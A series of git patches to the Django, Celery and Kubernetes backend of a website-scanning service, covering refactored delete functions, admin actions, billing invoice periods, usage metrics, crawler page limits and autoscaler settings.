     Deletes the `Scan` associated with the passed "id" 
 
     Expcets: {
         'request' : object,
-        'id'      : str
+        'id'      : str,
+        'account' : object
     }
 
     Returns -> HTTP Response object
     """
 
     # get user and account info
-    user = request.user
-    account = Member.objects.get(user=user).account
+    if request:
+        account = Member.objects.get(user=request.user).account
+        user = request.user
+    
+    if not request:
+        user = account.user
 
     # check account and resource
-    check_data = check_account_and_resource(request=request, scan_id=id, resource='scan')
+    check_data = check_account_and_resource(user=user, scan_id=id, resource='scan')
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, check_data['code'])
-        return Response(data, status=check_data['status'])
+        if request:
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
+        return data
     
     # get scan if checks passes
     scan = Scan.objects.get(id=id)
@@ -1861,9 +1884,11 @@ def delete_scan(request: object, id: str) -> object:
 
     # return response
     data = {'message': 'Scan has been deleted',}
-    record_api_call(request, data, '200')
-    response = Response(data, status=status.HTTP_200_OK)
-    return response
+    if request:
+        record_api_call(request, data, '200')
+        response = Response(data, status=status.HTTP_200_OK)
+        return response
+    return data
 
 
 
@@ -2516,28 +2541,35 @@ def get_test_lean(request: object, id: str) -> object:
 
 
 
-def delete_test(request: object, id: str) -> object:
+def delete_test(request: object=None, id: str=None, account: object=None) -> object:
     """ 
     Deletes the `Test` associated with the passed "id" 
 
     Expcets: {
         'request' : object,
-        'id'      : str
+        'id'      : str,
+        'account' : object,
     }
 
     Returns -> HTTP Response object
     """
 
     # get user and account info
-    user = request.user
-    account = Member.objects.get(user=user).account
+    if request:
+        account = Member.objects.get(user=request.user).account
+        user = request.user
+    
+    if not request:
+        user = account.user
 
     # check account and resource
-    check_data = check_account_and_resource(request=request, test_id=id, resource='test')
+    check_data = check_account_and_resource(user=user, test_id=id, resource='test')
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, check_data['code'])
-        return Response(data, status=check_data['status'])
+        if request:
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
+        return data
 
     # get test if checks passed
     test = Test.objects.get(id=id)
@@ -2550,9 +2582,11 @@ def delete_test(request: object, id: str) -> object:
 
     # return response
     data = {'message': 'Test has been deleted',}
-    record_api_call(request, data, '200')
-    response = Response(data, status=status.HTTP_200_OK)
-    return response
+    if request:
+        record_api_call(request, data, '200')
+        response = Response(data, status=status.HTTP_200_OK)
+        return response
+    return data
 
 
 
@@ -4458,31 +4492,38 @@ def copy_case(request: object) -> object:
 
 
 
-def delete_case(request: object, id: str) -> object:
+def delete_case(request: object=None, id: str=None, account: object=None) -> object:
     """ 
     Deletes the `Case` associated with the passed "id" 
 
     Expcets: {
         'request' : object,
-        'id'      : str
+        'id'      : str,
+        'account' : object,
     }
 
     Returns -> HTTP Response object
     """
 
     # get user and account info
-    user = request.user
-    account = Member.objects.get(user=user).account
+    if request:
+        account = Member.objects.get(user=request.user).account
+        user = request.user
+    
+    if not request:
+        user = account.user
 
     # checking account and resource 
     check_data = check_account_and_resource(
-        request=request, resource='case', 
+        user=user, resource='case', 
         case_id=id
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, check_data['code'])
-        return Response(data, status=check_data['status'])
+        if request:
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
+        return data
 
     # get case if checks passed
     case = Case.objects.get(id=id)
@@ -4495,9 +4536,11 @@ def delete_case(request: object, id: str) -> object:
 
     # return response
     data = {'message': 'Case has been deleted',}
-    record_api_call(request, data, '200')
-    response = Response(data, status=status.HTTP_200_OK)
-    return response
+    if request:
+        record_api_call(request, data, '200')
+        response = Response(data, status=status.HTTP_200_OK)
+        return response
+    return data
 
 
 
@@ -4762,31 +4805,38 @@ def get_testcase(request: object, id: str) -> object:
 
 
 
-def delete_testcase(request: object, id: str) -> object:
+def delete_testcase(request: object=None, id: str=None, account: object=None) -> object:
     """ 
     Deletes the `Testcase` associated with the passed "id" 
 
     Expcets: {
         'request' : object,
-        'id'      : str
+        'id'      : str,
+        'account' : object
     }
 
     Returns -> HTTP Response object
     """
 
     # get user and account info
-    user = request.user
-    account = Member.objects.get(user=user).account
+    if request:
+        account = Member.objects.get(user=request.user).account
+        user = request.user
+    
+    if not request:
+        user = account.user
 
     # checking account and resource 
     check_data = check_account_and_resource(
-        request=request, resource='testcase', 
+        user=user, resource='testcase', 
         testcase_id=id
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, check_data['code'])
-        return Response(data, status=check_data['status'])
+        if request:
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
+        return data
 
     # get testcase if checks passed
     testcase = Testcase.objects.get(id=id)
@@ -4799,9 +4849,11 @@ def delete_testcase(request: object, id: str) -> object:
 
     # return response
     data = {'message': 'Testcase has been deleted',}
-    record_api_call(request, data, '200')
-    response = Response(data, status=status.HTTP_200_OK)
-    return response
+    if request:
+        record_api_call(request, data, '200')
+        response = Response(data, status=status.HTTP_200_OK)
+        return response
+    return data
 
 
 

From 8e8e90e96004a42ff26973bc3033430de3f49ab7 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 14 Aug 2024 10:55:20 -0600
Subject: [PATCH 0649/1099] debugging rest_usage()

---
 app/api/tasks.py | 2 --
 1 file changed, 2 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 2bbf0d0b..11b4f271 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1142,8 +1142,6 @@ def reset_usage(account):
                 account.sub_id
             )
 
-            print(sub)
-
             # get and formate sub.current_period_end
             sub_date = datetime.fromtimestamp(
                 sub.current_period_end

From 728ec51e882cc76c84502138d1b9f753cc2419ce Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 14 Aug 2024 11:16:20 -0600
Subject: [PATCH 0650/1099] finalized new admin tools

---
 app/api/admin.py               | 63 +++++++++++++++++-----------------
 app/api/tasks.py               |  9 +++--
 app/api/v1/billing/services.py |  1 +
 3 files changed, 39 insertions(+), 34 deletions(-)

diff --git a/app/api/admin.py b/app/api/admin.py
index a2ec4e7d..850429a0 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -15,6 +15,38 @@
 
 
 
+@admin.register(Account)
+class AccountAdmin(admin.ModelAdmin):
+    list_display = ('__str__', 'time_created', 'type')
+    search_fields = ('__str__',)
+    actions = ['reset_usage',]
+
+    def reset_usage(self, request, queryset):
+        for account in queryset:
+            reset_account_usage.delay(
+                account_id=account.id
+            )
+
+
+
+
+@admin.register(Member)
+class MemberAdmin(admin.ModelAdmin):
+    list_display = ('user', 'account', 'time_created', 'type', 'status')
+    search_fields = ('user__username', 'account__name')
+
+
+
+
+@admin.register(Card)
+class CardAdmin(admin.ModelAdmin):
+    list_display = ('__str__', 'brand', 'last_four')
+    search_fields = ('last_four',)
+
+
+
+
+
 @admin.register(Site)
 class SiteAdmin(admin.ModelAdmin):
     list_display = ('site_url', 'account', 'time_created')
@@ -116,37 +148,6 @@ def mark_as_completed(self, request, queryset):
 
 
 
-@admin.register(Account)
-class AccountAdmin(admin.ModelAdmin):
-    list_display = ('__str__', 'time_created', 'type')
-    search_fields = ('__str__',)
-    actions = ['reset_usage',]
-
-    def reset_usage(self, request, queryset):
-        for account in queryset:
-            reset_account_usage(
-                account_id=account.id
-            )
-
-
-
-
-@admin.register(Member)
-class MemberAdmin(admin.ModelAdmin):
-    list_display = ('user', 'account', 'time_created', 'type', 'status')
-    search_fields = ('user__username', 'account__name')
-
-
-
-
-@admin.register(Card)
-class CardAdmin(admin.ModelAdmin):
-    list_display = ('__str__', 'brand', 'last_four')
-    search_fields = ('last_four',)
-
-
-
-
 @admin.register(Report)
 class ReportAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'time_created', 'user')
diff --git a/app/api/tasks.py b/app/api/tasks.py
index 11b4f271..a5f1747d 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1160,15 +1160,18 @@ def reset_usage(account):
             # get last usage reset date from meta
             last_usage_date_str = account.meta.get('last_usage_reset')
             if last_usage_date_str is not None:
+                
+                # clean date_str
+                last_usage_date_str = last_usage_date_str.replace('T', ' ').replace('Z', '')
 
                 # format date str as datetime obj
-                f = '%Y-%m-%d %H:%M:%S'
+                f = '%Y-%m-%d %H:%M:%S.%f'
                 last_usage_date = datetime.strptime(last_usage_date_str, f)
 
-                print(f'days since last reset -> {abs(today - last_usage_date)}')
+                print(f'days since last reset -> {abs((today - last_usage_date).days)}')
 
                 # check if over 30 days
-                if abs(today - last_usage_date) >= 30:
+                if abs((today - last_usage_date).days) >= 30:
                     reset_usage(account)
 
                 # udpate account.meta.last_usage_reset
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index 641a0173..6575fe7b 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -622,6 +622,7 @@ def cancel_subscription(request: object=None, account: object=None) -> object:
             'tests_allowed': 30, 
             'testcases_allowed': 15,
         }
+        account.meta['last_usage_reset'] = datetime.today().strftime('%Y-%m-%d %H:%M:%S.%f')
 
         # save Account
         account.save()

From b136820fabd8c282fc30e1dfbeb3aeae5a490063 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 14 Aug 2024 11:57:15 -0600
Subject: [PATCH 0651/1099] fixed issue with invoice display

---
 app/api/v1/billing/services.py | 14 +++++++++++---
 1 file changed, 11 insertions(+), 3 deletions(-)

diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index 6575fe7b..1bf499d1 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -2,7 +2,7 @@
 from rest_framework import status
 from django.contrib.auth.models import User
 from django.core import serializers
-from datetime import date, datetime
+from datetime import date, datetime, timedelta
 from ...models import Account, Card, Site, Issue
 from ..ops.services import delete_site
 from ..auth.services import create_or_update_account
@@ -687,9 +687,17 @@ def get_stripe_invoices(request: object) -> object:
         # build list of Stripe Invice objects
         for invoice in invoice_body.data:
 
-            # clean product name
+            print(invoice)
+
+            # clean product name & get interval
             product_name = invoice['lines']['data'][0]['description']
             product_name = product_name.split('1 × ')[1].split(' (')[0]
+            interval = invoice['lines']['data'][0]['plan']['interval']
+
+            # get end_date
+            period_start = datetime.fromtimestamp(invoice.period_start)
+            new = period_start + timedelta(days=30 if interval == 'month' else 365)
+            period_end = int(new.timestamp())
 
             i_list.append({
                 'id': invoice.id,
@@ -703,7 +711,7 @@ def get_stripe_invoices(request: object) -> object:
                 'invoice_pdf': invoice.invoice_pdf,
                 'number': invoice.number,
                 'period_start': invoice.period_start,
-                'period_end': invoice.period_end
+                'period_end': period_end
             })
         
         # format response

From 842d651773a9eb50cf443a1b2ba4b10d634c8644 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 14 Aug 2024 12:24:26 -0600
Subject: [PATCH 0652/1099] updating site_metrics

---
 app/api/v1/ops/services.py | 21 ++++++++++++++-------
 1 file changed, 14 insertions(+), 7 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 42bb25d7..440b8280 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -5338,9 +5338,12 @@ def get_site_metrics(request: object) -> object:
     pages = Page.objects.filter(site=site)
 
     # setting detaults
-    testcases = round(account.usage['testcases'] / max_sites) if account.usage['testcases'] > 0 else 0
-    tests = round(account.usage['tests'] / max_sites) if account.usage['tests'] > 0 else 0
-    scans = round(account.usage['scans'] / max_sites) if account.usage['scans'] > 0 else 0
+    # testcases = round(account.usage['testcases'] / max_sites) if account.usage['testcases'] > 0 else 0
+    # tests = round(account.usage['tests'] / max_sites) if account.usage['tests'] > 0 else 0
+    # scans = round(account.usage['scans'] / max_sites) if account.usage['scans'] > 0 else 0
+    tests = account.usage['tests']
+    scans = account.usage['scans']
+    testcases = account.usage['testcases']
     schedules = Schedule.objects.filter(site=site).count()
 
     # calculating page scoped schedules
@@ -5350,10 +5353,14 @@ def get_site_metrics(request: object) -> object:
     # calculate usage
     pages = pages.count()
     pages_usage = round((pages/account.max_pages)*100, 2) if pages > 0 else 0
-    scans_usage = round((scans/round(account.usage['scans_allowed']/max_sites))* 100, 2) if scans > 0 else 0
-    tests_usage = round((tests/round(account.usage['tests_allowed']/max_sites))* 100, 2) if tests > 0 else 0
-    testcases_usage = round((testcases/round(account.usage['testcases_allowed']/max_sites))* 100, 2) if testcases > 0 else 0
-    schedules_usage = round((schedules/round(account.max_schedules/max_sites))*100, 2) if schedules > 0 else 0
+    # scans_usage = round((scans/round(account.usage['scans_allowed']/max_sites))* 100, 2) if scans > 0 else 0
+    # tests_usage = round((tests/round(account.usage['tests_allowed']/max_sites))* 100, 2) if tests > 0 else 0
+    # testcases_usage = round((testcases/round(account.usage['testcases_allowed']/max_sites))* 100, 2) if testcases > 0 else 0
+    # schedules_usage = round((schedules/round(account.max_schedules/max_sites))*100, 2) if schedules > 0 else 0
+    schedule_usage = round((schedules/account.max_schedules)*100, 2) if schedules > 0 else 0
+    scans_usage = round((scans/account.usage['scans_allowed'])*100, 2) if scans > 0 else 0
+    tests_usage = round((tests/account.usage['tests_allowed'])*100, 2) if tests > 0 else 0
+    testcases_usage = round((testcases/account.usage['testcases_allowed'])*100, 2) if testcases > 0 else 0
 
 
     # format data

From fbf06d42a6dc16ede0c728af2620faef2deaa632 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 14 Aug 2024 12:27:34 -0600
Subject: [PATCH 0653/1099] sifed metrics bug

---
 app/api/v1/ops/services.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 440b8280..f3a1a9cd 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -5289,7 +5289,7 @@ def get_home_metrics(request: object) -> object:
     # calculate usages
     sites = sites.count()
     sites_usage = round((sites/account.max_sites)*100, 2) if sites > 0 else 0
-    schedule_usage = round((schedules/account.max_schedules)*100, 2) if schedules > 0 else 0
+    schedules_usage = round((schedules/account.max_schedules)*100, 2) if schedules > 0 else 0
     scans_usage = round((scans/account.usage['scans_allowed'])*100, 2) if scans > 0 else 0
     tests_usage = round((tests/account.usage['tests_allowed'])*100, 2) if tests > 0 else 0
     testcases_usage = round((testcases/account.usage['testcases_allowed'])*100, 2) if testcases > 0 else 0
@@ -5303,7 +5303,7 @@ def get_home_metrics(request: object) -> object:
         "scans": scans,
         "scans_usage": scans_usage,
         "schedules": schedules,
-        "schedules_usage": schedule_usage,
+        "schedules_usage": schedules_usage,
         "testcases": testcases,
         "testcases_usage": testcases_usage,
         "open_issues": issues,
@@ -5357,7 +5357,7 @@ def get_site_metrics(request: object) -> object:
     # tests_usage = round((tests/round(account.usage['tests_allowed']/max_sites))* 100, 2) if tests > 0 else 0
     # testcases_usage = round((testcases/round(account.usage['testcases_allowed']/max_sites))* 100, 2) if testcases > 0 else 0
     # schedules_usage = round((schedules/round(account.max_schedules/max_sites))*100, 2) if schedules > 0 else 0
-    schedule_usage = round((schedules/account.max_schedules)*100, 2) if schedules > 0 else 0
+    schedules_usage = round((schedules/account.max_schedules)*100, 2) if schedules > 0 else 0
     scans_usage = round((scans/account.usage['scans_allowed'])*100, 2) if scans > 0 else 0
     tests_usage = round((tests/account.usage['tests_allowed'])*100, 2) if tests > 0 else 0
     testcases_usage = round((testcases/account.usage['testcases_allowed'])*100, 2) if testcases > 0 else 0

From bd09e4a76297011f78aa4fe74983a6f60cc53182 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 14 Aug 2024 12:35:47 -0600
Subject: [PATCH 0654/1099] fixed counting issues with bulk scan/test creation

---
 app/api/v1/ops/services.py | 32 ++++++++++++++++++++------------
 1 file changed, 20 insertions(+), 12 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index f3a1a9cd..eb1f572d 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1646,10 +1646,13 @@ def create_many_scans(request: object) -> object:
                     num_failed += 1
                     this_status = False
                     failed.append(str(id))
+                    print(res['message'])
             except Exception as e:
-                num_failed += 1
-                this_status = False
-                failed.append(str(id))
+                print(e)
+                if str(id) not in failed:
+                    num_failed += 1
+                    this_status = False
+                    failed.append(str(id))
 
     # scoped for pages
     if page_ids:
@@ -1671,10 +1674,13 @@ def create_many_scans(request: object) -> object:
                     num_failed += 1
                     this_status = False
                     failed.append(str(id))
+                    print(res['message'])
             except Exception as e:
-                num_failed += 1
-                this_status = False
-                failed.append(str(id))
+                print(e)
+                if str(id) not in failed:
+                    num_failed += 1
+                    this_status = False
+                    failed.append(str(id))
 
     # format and return
     data = {
@@ -2335,9 +2341,10 @@ def create_many_tests(request: object) -> object:
                     print(res['message'])
             except Exception as e:
                 print(e)
-                num_failed += 1
-                this_status = False
-                failed.append(str(id))
+                if str(id) not in failed:
+                    num_failed += 1
+                    this_status = False
+                    failed.append(str(id))
 
     # scoped for pages
     if page_ids:
@@ -2363,9 +2370,10 @@ def create_many_tests(request: object) -> object:
                     print(res['message'])
             except Exception as e:
                 print(e)
-                num_failed += 1
-                this_status = False
-                failed.append(str(id))
+                if str(id) not in failed:
+                    num_failed += 1
+                    this_status = False
+                    failed.append(str(id))
 
     # format and return
     data = {

From 2dcdfd1ff0a003b41da8c5d679fb4dba910c2d6f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 14 Aug 2024 12:48:54 -0600
Subject: [PATCH 0655/1099] cleaning things up

---
 app/api/v1/billing/services.py | 2 --
 1 file changed, 2 deletions(-)

diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index 1bf499d1..e1973a43 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -687,8 +687,6 @@ def get_stripe_invoices(request: object) -> object:
         # build list of Stripe Invice objects
         for invoice in invoice_body.data:
 
-            print(invoice)
-
             # clean product name & get interval
             product_name = invoice['lines']['data'][0]['description']
             product_name = product_name.split('1 × ')[1].split(' (')[0]

From b2776b8285f4092bb05cee0728ab7308a55aba52 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 14 Aug 2024 13:08:43 -0600
Subject: [PATCH 0656/1099] updated for new entrypoints

---
 k8s/prod/app-deployment.yaml    | 4 ++--
 k8s/prod/beat-deployment.yaml   | 4 ++--
 k8s/prod/celery-deployment.yaml | 4 ++--
 notes/Kubernetes.md             | 2 +-
 4 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 04b1f53e..ba7beb4a 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -18,11 +18,11 @@ spec:
         - name: regcred
       containers:
         - name: scanerr-server
-          image: <IMAGE> # scanerr/server:9dbc3d9 # 
+          image:  <IMAGE> # scanerr/server:49709ea #
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
-          command: ["/remote-entrypoint.sh", "app"]
+          command: ["/entrypoint.sh", "app", "remote"]
           envFrom:
             - configMapRef:
                 name: app-configs
diff --git a/k8s/prod/beat-deployment.yaml b/k8s/prod/beat-deployment.yaml
index f1dea922..3113178d 100644
--- a/k8s/prod/beat-deployment.yaml
+++ b/k8s/prod/beat-deployment.yaml
@@ -19,9 +19,9 @@ spec:
         - name: regcred
       containers:
         - name: beat
-          image: <IMAGE> # scanerr/server:bf1dab1 # 
+          image: <IMAGE> # scanerr/server:49709ea # 
           imagePullPolicy: Always
-          command: ["/remote-entrypoint.sh", "beat"]
+          command: ["/entrypoint.sh", "beat"]
           envFrom:
             - configMapRef:
                 name: app-configs
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 72702db9..417f58ae 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -19,9 +19,9 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image:  <IMAGE> # scanerr/server:9dbc3d9 # 
+          image:  <IMAGE> # scanerr/server:49709ea # 
           imagePullPolicy: Always
-          command: ["/remote-entrypoint.sh", "celery"]
+          command: ["/entrypoint.sh", "celery"]
           envFrom:
             - configMapRef:
                 name: app-configs
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 062b2ec1..e2f6ac7f 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -160,7 +160,7 @@ kubectl port-forward service/app-service 8000:8000
  - When reprovisioning to new domains and SSL certs ensure all `certificates` & `secrets` are deleted
    - `kubectl delete certificate <cert-name>`
    - `kubectl delete secret <sec-name>` ... may have to do this in the k8s dashboard
- - Restart both celery & app deployments for a config-map change:
+ - Restart celery, beat, &b app deployments for a config-map change:
    - `kubectl rollout restart deployment app-deployment celery-deployment`
  - Get Current IPs for pods:
    - `kubectl exec <container-id> -- curl -s http://checkip.dyndns.org/ | sed 's/[a-zA-Z<>/ :]//g'`

From 71c3151f4ac26643f8332570ca371f6b65387a40 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 15 Aug 2024 11:31:47 -0600
Subject: [PATCH 0657/1099] fixing crawler bug

---
 app/api/tasks.py | 22 +++++++++++++---------
 1 file changed, 13 insertions(+), 9 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index a5f1747d..c4da83c8 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -178,20 +178,21 @@ def crawl_site_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> No
         old_urls.append(p.page_url)
 
     # crawl site 
-    new_pages = Crawler(url=site.site_url, max_urls=site.account.max_pages).get_links()
-    add_pages = []
+    new_urls = Crawler(url=site.site_url, max_urls=site.account.max_pages).get_links()
+    add_urls = []
 
-    # checking if allowed to add new page
-    for page in new_pages:
-        if not page in old_urls and (len(add_pages) + len(old_urls) <= site.account.max_pages):
-            add_pages.append(page)
+    # checking for duplicates
+    for url in new_urls:
+        if not url in old_urls:
+            add_urls.append(url)
 
     # loop thorugh crawled pages 
     # and add if not present  
-    for url in add_pages:
+    current_count = len(old_urls)
+    for url in add_urls:
 
-        # add new page
-        if not Page.objects.filter(site=site, page_url=url).exists():
+        # add new page if room exists
+        if current_count < site.account.max_pages:
             page = Page.objects.create(
                 site=site,
                 page_url=url,
@@ -218,6 +219,9 @@ def crawl_site_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> No
                 page.info["latest_scan"]["time_created"] = str(scan.time_created)
                 page.save()
 
+            # increment
+            current_count += 1
+
     # updating site status
     site.time_crawl_completed = timezone.now()
     site.save()

From 1ee8e4e96de3f9b0dce873da61c0e0e00c5ae7f6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 15 Aug 2024 12:54:44 -0600
Subject: [PATCH 0658/1099] debugging celery autoscaler

---
 app/api/v1/ops/services.py | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index eb1f572d..96cdcaa3 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -5412,6 +5412,13 @@ def get_celery_metrics(request: object) -> object:
     reserved = i.reserved()
     # Active tasks
     active = i.active()
+
+    print('\n\n-reserved-\n\n')
+    print(reserved)
+
+    print('\n\n-active-\n\n')
+    print(active)
+
     
     # init task & replica counters
     # & ratio 

From dc62d7626dd0f21b0a98113994f4b40e46bfc20c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 15 Aug 2024 13:34:33 -0600
Subject: [PATCH 0659/1099] testing 'task_acks_late' as False

---
 app/scanerr/celery.py                         |  2 +-
 k8s/prod/celery-autoscaler.yaml               |  2 +-
 k8s/prod/old_configs/rabbitmq-deployment.yaml | 31 +++++++-----
 k8s/prod/rabbitmq-deployment.yaml             | 49 -------------------
 4 files changed, 22 insertions(+), 62 deletions(-)
 delete mode 100644 k8s/prod/rabbitmq-deployment.yaml

diff --git a/app/scanerr/celery.py b/app/scanerr/celery.py
index e194b19a..c014b861 100644
--- a/app/scanerr/celery.py
+++ b/app/scanerr/celery.py
@@ -19,7 +19,7 @@
 
 # celery and beat configs
 app.conf.update(
-    task_acks_late=True,
+    task_acks_late=False,
     worker_prefetch_multiplier=1,
     worker_hijack_root_logger=False,
     task_always_eager=False,
diff --git a/k8s/prod/celery-autoscaler.yaml b/k8s/prod/celery-autoscaler.yaml
index 173e3533..7f3c6d69 100644
--- a/k8s/prod/celery-autoscaler.yaml
+++ b/k8s/prod/celery-autoscaler.yaml
@@ -12,6 +12,6 @@ spec:
   triggers:
     - type: metrics-api
       metadata:
-        targetValue: "5"
+        targetValue: "0"
         url: "https://api.scanerr.io/v1/ops/metrics/celery"
         valueLocation: "num_tasks"
\ No newline at end of file
diff --git a/k8s/prod/old_configs/rabbitmq-deployment.yaml b/k8s/prod/old_configs/rabbitmq-deployment.yaml
index ac35aff4..18ada4c6 100644
--- a/k8s/prod/old_configs/rabbitmq-deployment.yaml
+++ b/k8s/prod/old_configs/rabbitmq-deployment.yaml
@@ -1,22 +1,26 @@
 apiVersion: apps/v1
 kind: Deployment
 metadata:
+  labels:
+    service: rabbitmq
   name: rabbitmq
 spec:
-  replicas: 2
+  replicas: 1
   selector:
     matchLabels:
-      name: rabbitmq
+      service: rabbitmq
+  strategy: {}
   template:
     metadata:
       labels:
-        name: rabbitmq
+        service: rabbitmq
     spec:
+      restartPolicy: Always
       containers:
-        - name: rabbitmq
-          image: rabbitmq:alpine
+        - image: rabbitmq:alpine
+          name: rabbitmq
           ports:
-          - containerPort: 5672
+            - containerPort: 5672
           resources: 
             limits:
               cpu: "250m"
@@ -24,17 +28,22 @@ spec:
             requests:
               cpu: "100m"
               memory: "100Mi"
+status: {}
+
+
 
 ---
+
 apiVersion: v1
 kind: Service
 metadata:
-  name: rabbitmq
   labels:
-    app: rabbitmq
+    service: rabbitmq
+  name: rabbitmq
 spec:
-  type: ClusterIP
   ports:
-  - port: 5672
+    - name: "5672"
+      port: 5672
+      targetPort: 5672
   selector:
-    name: rabbitmq
+    service: rabbitmq
diff --git a/k8s/prod/rabbitmq-deployment.yaml b/k8s/prod/rabbitmq-deployment.yaml
deleted file mode 100644
index 18ada4c6..00000000
--- a/k8s/prod/rabbitmq-deployment.yaml
+++ /dev/null
@@ -1,49 +0,0 @@
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  labels:
-    service: rabbitmq
-  name: rabbitmq
-spec:
-  replicas: 1
-  selector:
-    matchLabels:
-      service: rabbitmq
-  strategy: {}
-  template:
-    metadata:
-      labels:
-        service: rabbitmq
-    spec:
-      restartPolicy: Always
-      containers:
-        - image: rabbitmq:alpine
-          name: rabbitmq
-          ports:
-            - containerPort: 5672
-          resources: 
-            limits:
-              cpu: "250m"
-              memory: "250Mi"
-            requests:
-              cpu: "100m"
-              memory: "100Mi"
-status: {}
-
-
-
----
-
-apiVersion: v1
-kind: Service
-metadata:
-  labels:
-    service: rabbitmq
-  name: rabbitmq
-spec:
-  ports:
-    - name: "5672"
-      port: 5672
-      targetPort: 5672
-  selector:
-    service: rabbitmq

From 0da1ca64038a951115597f17644195eb19adc27f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 15 Aug 2024 14:37:02 -0600
Subject: [PATCH 0660/1099] updating celery metrics, autoscalers, and
 terminationPeroids

---
 app/api/v1/ops/services.py      | 16 ++++++++++++++--
 k8s/prod/celery-autoscaler.yaml |  4 ++--
 k8s/prod/celery-deployment.yaml |  4 ++--
 k8s/prod/ylt-autoscaler.yaml    |  2 +-
 k8s/prod/ylt-deployment.yaml    |  2 +-
 notes/Kubernetes.md             |  2 ++
 6 files changed, 22 insertions(+), 8 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 96cdcaa3..767254db 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -6,7 +6,9 @@
 from rest_framework.response import Response
 from rest_framework import status
 from scanerr import celery
+from redis import Redis
 from scanerr import settings
+from celery import app
 from .serializers import *
 from ...tasks import *
 from rest_framework.pagination import LimitOffsetPagination
@@ -5406,6 +5408,16 @@ def get_celery_metrics(request: object) -> object:
     Returns -> HTTP Response object
     """
 
+    
+    # get redis queue len
+    redis_client = Redis.from_url(
+        settings.CELERY_BROKER_URL, 
+        socket_connect_timeout=3
+    )
+    redis_queue_len = redis_client.llen(
+        app.default_app.conf.task_default_queue
+    )
+
     # Inspect all nodes.
     i = celery.app.control.inspect()
     # Tasks received, but are still waiting to be executed.
@@ -5419,7 +5431,6 @@ def get_celery_metrics(request: object) -> object:
     print('\n\n-active-\n\n')
     print(active)
 
-    
     # init task & replica counters
     # & ratio 
     num_tasks = 0
@@ -5442,7 +5453,8 @@ def get_celery_metrics(request: object) -> object:
     data = {
         "num_tasks": num_tasks,
         "num_replicas": num_replicas,
-        "ratio": ratio
+        "ratio": ratio,
+        "redis_queue": redis_queue_len
     }
 
     # return response
diff --git a/k8s/prod/celery-autoscaler.yaml b/k8s/prod/celery-autoscaler.yaml
index 7f3c6d69..4c02a557 100644
--- a/k8s/prod/celery-autoscaler.yaml
+++ b/k8s/prod/celery-autoscaler.yaml
@@ -5,13 +5,13 @@ metadata:
 spec:
   scaleTargetRef:
     name: celery-deployment
-  cooldownPeriod:  4000
+  cooldownPeriod:  300
